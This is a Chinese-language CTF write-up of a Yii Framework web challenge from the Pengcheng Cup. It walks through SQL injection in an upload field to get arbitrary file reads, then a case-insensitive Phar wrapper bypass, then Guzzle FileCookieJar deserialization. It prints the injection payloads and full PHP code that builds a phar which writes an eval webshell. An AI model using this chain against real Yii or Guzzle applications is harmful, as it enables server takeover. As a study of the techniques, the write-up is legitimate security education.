[鵬程杯](Web) Yii Framework

Dockefile:

信息搜集:

題目地址:http://58.20.46.148:21333/

  1. 目標使用 Yii 框架開發
  2. 存在登錄注冊功能
  3. 登錄注冊以后解鎖新的功能:上傳文件(upload)、顯示文件(show)
    (contact 等其他功能為 Yii 腳手架自帶,不需要太過關心)
  4. 上傳文件需要比正常的文件上傳多提供一個參數 name
  5. 顯示文件不需要參數,如果正常上傳一張圖片則會直接顯示這個圖片,不需要添加參數,這個功能應該是調用了 php 的文件讀取函數。有兩點支撐這個觀點:
    1. 路徑中不需要指定文件名
    2. 用戶和用戶之間會隔離,瀏覽器隱身頁面訪問不到了
  6. 存在 readme.md 提供了表結構,根據文件內容確定數據庫為 sqlite3
CREATE TABLE IF NOT EXISTS "users" (
  "id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "username" char(1024) NOT NULL,
  "password" char(1024) NOT NULL,
  "filepath" varchar(1024)
);
  1. 上傳文件功能多的參數 name 處存在注入,一個單引號即可觸發,結合之前得到的表結構,猜想是讓用戶可以指定一個文件名用來保存,然后在訪問 show 路由的時候從用戶 session 中拿到 user 身份標識,然后從數據庫中查找文件路徑,然后讀取出來響應給客戶端
  2. 上傳成功后會顯示服務器的一個相對路徑
$filepath = '../uploads/'.$_POST['UploadForm[name]'].'.';
$filepath .= pathinfo($_FILES['UploadForm[imageFile]']['name'], PATHINFO_EXTENSION);
echo $filepath;
  1. 猜測服務器會將 $filepath 作為文件名傳入讀取文件類的函數,如果 $filepath 可以任意控制的話就可以讀取 php 文件了,但是題目檢測 $_POST['UploadForm[name]'] 中是不是存在 ph,如果存在上傳失敗。
  2. 一個用戶只能有一個 filepath,因此猜測上傳功能肯定是一條 update 語句,因此存在"SQL 字段覆蓋問題"(不知道這種說法是不是準確,筆者只是不知道如何描述這樣的問題,姑且成為“字段覆蓋”吧),更新的字段為 filepath,那如果傳入多個 filepath 則最終生效的為最后一個,這樣應該就可以通過絕對路徑讀取文件了,但是根據第七步推測到的偽代碼,filepath 最后會加上 ‘.’ 和上傳文件的擴展名,這里的讀取文件好像有點問題,暫時不能讀取 php 文件,嘗試讀取 /etc/apt/sources.list 成功
UploadForm[name]=',filepath='/etc/apt/source
filename=lilac.list
  1. 既然可以多添加一個字段,再添加一個字段不就不用考慮后綴名的問題了
UploadForm[name]=',filepath='/etc/apache2/sites-enabled/000-default.conf',username='lilac
filename=whatever
<VirtualHost *:80>
    ...
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/You_Cant_Gu3ss/web
    ...
</VirtualHost>
  1. 得到 web 絕對路徑并且可以任意文件讀取之后就可以對照著 Yii 的腳手架代碼來一步步下載源碼了
    以下貼出關鍵代碼
?  controllers cat UsersController.php 
<?php

namespace app\controllers;

use Yii;
use app\models\Users;
use app\models\UsersSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use app\models\UploadForm;
use yii\web\UploadedFile;

/**
 * UsersController implements the CRUD actions for Users model.
 */
class UsersController extends Controller
{

    public function actionFile()
    {
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = new UploadForm();

        if (Yii::$app->request->isPost) {
            $model->imageFile = UploadedFile::getInstance($model, 'imageFile');
            $model->name = Yii::$app->request->post('UploadForm')['name'];
            if ($path = $model->upload()) {
                $filename = $path;
                $sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
                Yii::$app->db->createCommand($sql)->execute();
                \Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
                return $this->render('file', ['model' => $model]);
            }
        }

        return $this->render('file', ['model' => $model]);
    }

    public function actionShow(){
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
        if (!$model->filepath){
            \Yii::$app->getSession()->setFlash('error', "You should upload your image first");
            return $this->redirect(['file']);
        }
        if (substr($model->filepath, 0,7)=='phar://') {
            \Yii::$app->getSession()->setFlash('error', "no phar! ");
            return $this->redirect(['file']);
        }
        $content = @file_get_contents($model->filepath);
        header("Content-Type: image/jpeg;text/html; charset=utf-8");
        echo $content;
        exit;
    }
}
  1. 判斷了 filepath 是不是以 phar:// 開頭,但是 php 在實現上讀取文件的 wrapper name 是可以不區分大小寫的
readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
  1. 回過頭來想想,目前情景很符合對象注入的場景
1. 框架代碼(大量 Gadget 可用)
2. 服務器已知文件內容可控
3. 文件讀取函數的文件路徑參數可控
  1. 根據代碼其實也可以反應出來是 Phar 反序列漏洞
  2. 根據提示 guzzle,在 composer.json 中得到 guzzle 的版本,搜索該版本的 Object Injection 即可

關鍵思路:

vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
存在可控的文件寫操作,考慮使用該類反序列化寫 shell
  1. 構造 POP 鏈
  2. 生成以 POP 鏈為 Metadata 的 Phar 文件
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$payload = '<?php eval($_REQUEST[1])?>';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
    'Name' => 'foo',
    'Value' => 'bar',
    'Domain' => $payload,
    'Expires' => time()+0x100,
    'Discard' => false,
]);
$obj->setCookie($c);

$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);

$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();
  1. 上傳 Phar 文件
  2. 通過任意文件讀取漏洞使用 Phar 協議讀取觸發反序列化操作寫 Webshell
UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/lilac.jpg/lilac',username='lilac
  1. 反序列化并成功標志為讀取到 Phar 文件內容:lilac

坑點:

  • php 序列化數據里面會有 \x00 所以復制的時候會被坑,應該直接寫文件里
  • Yii 腳手架的 ${ROOT}/web/assets 目錄是可寫的
  • 關于如何構造 POP 鏈請見參考資料中第一條 PDF,近期看到的最棒的 Presentation 了

參考資料:

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,428評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,024評論 3 413
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,285評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,548評論 1 307
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,328評論 6 404
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 54,878評論 1 321
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 42,971評論 3 439
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,098評論 0 286
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,616評論 1 331
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,554評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,725評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,243評論 5 355
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 43,971評論 3 345
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,361評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,613評論 1 280
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,339評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,695評論 2 370

推薦閱讀更多精彩內容

  • awesome-php 收集整理一些常用的PHP類庫, 資源以及技巧. 以便在工作中迅速的查找所需... 這個列表...
    guanguans閱讀 4,441評論 0 34
  • 是什么 如果你知道yum、apt-get、npm、bower等命令中的一種或者多種,那么,你也能很快知道compo...
    旱魃一樣閱讀 3,146評論 0 9
  • 明道1968講《黃帝內經》之“四氣調神大論篇第二(13)” 接上文: “惟圣人從之,故身無奇病,萬物不失,生氣不竭...
    明道1968閱讀 515評論 3 3
  • 輕風迂回又是葉葳蕤恍若昨日戀一池春水說愛相隨甘苦共喜悲冬雷陣陣夏雨雪不悔年少無畏卻戲談離別天地不仁不憫浮萍淚. 明...
    李慧敏_心理咨詢師閱讀 371評論 1 3
  • 《實習生》是由美國華納兄弟影片公司發行,由南希·邁耶斯執導的喜劇片。 該片由好萊塢老牌電影明星羅伯特?德尼羅和女星...
    小小夕顏花閱讀 1,636評論 3 5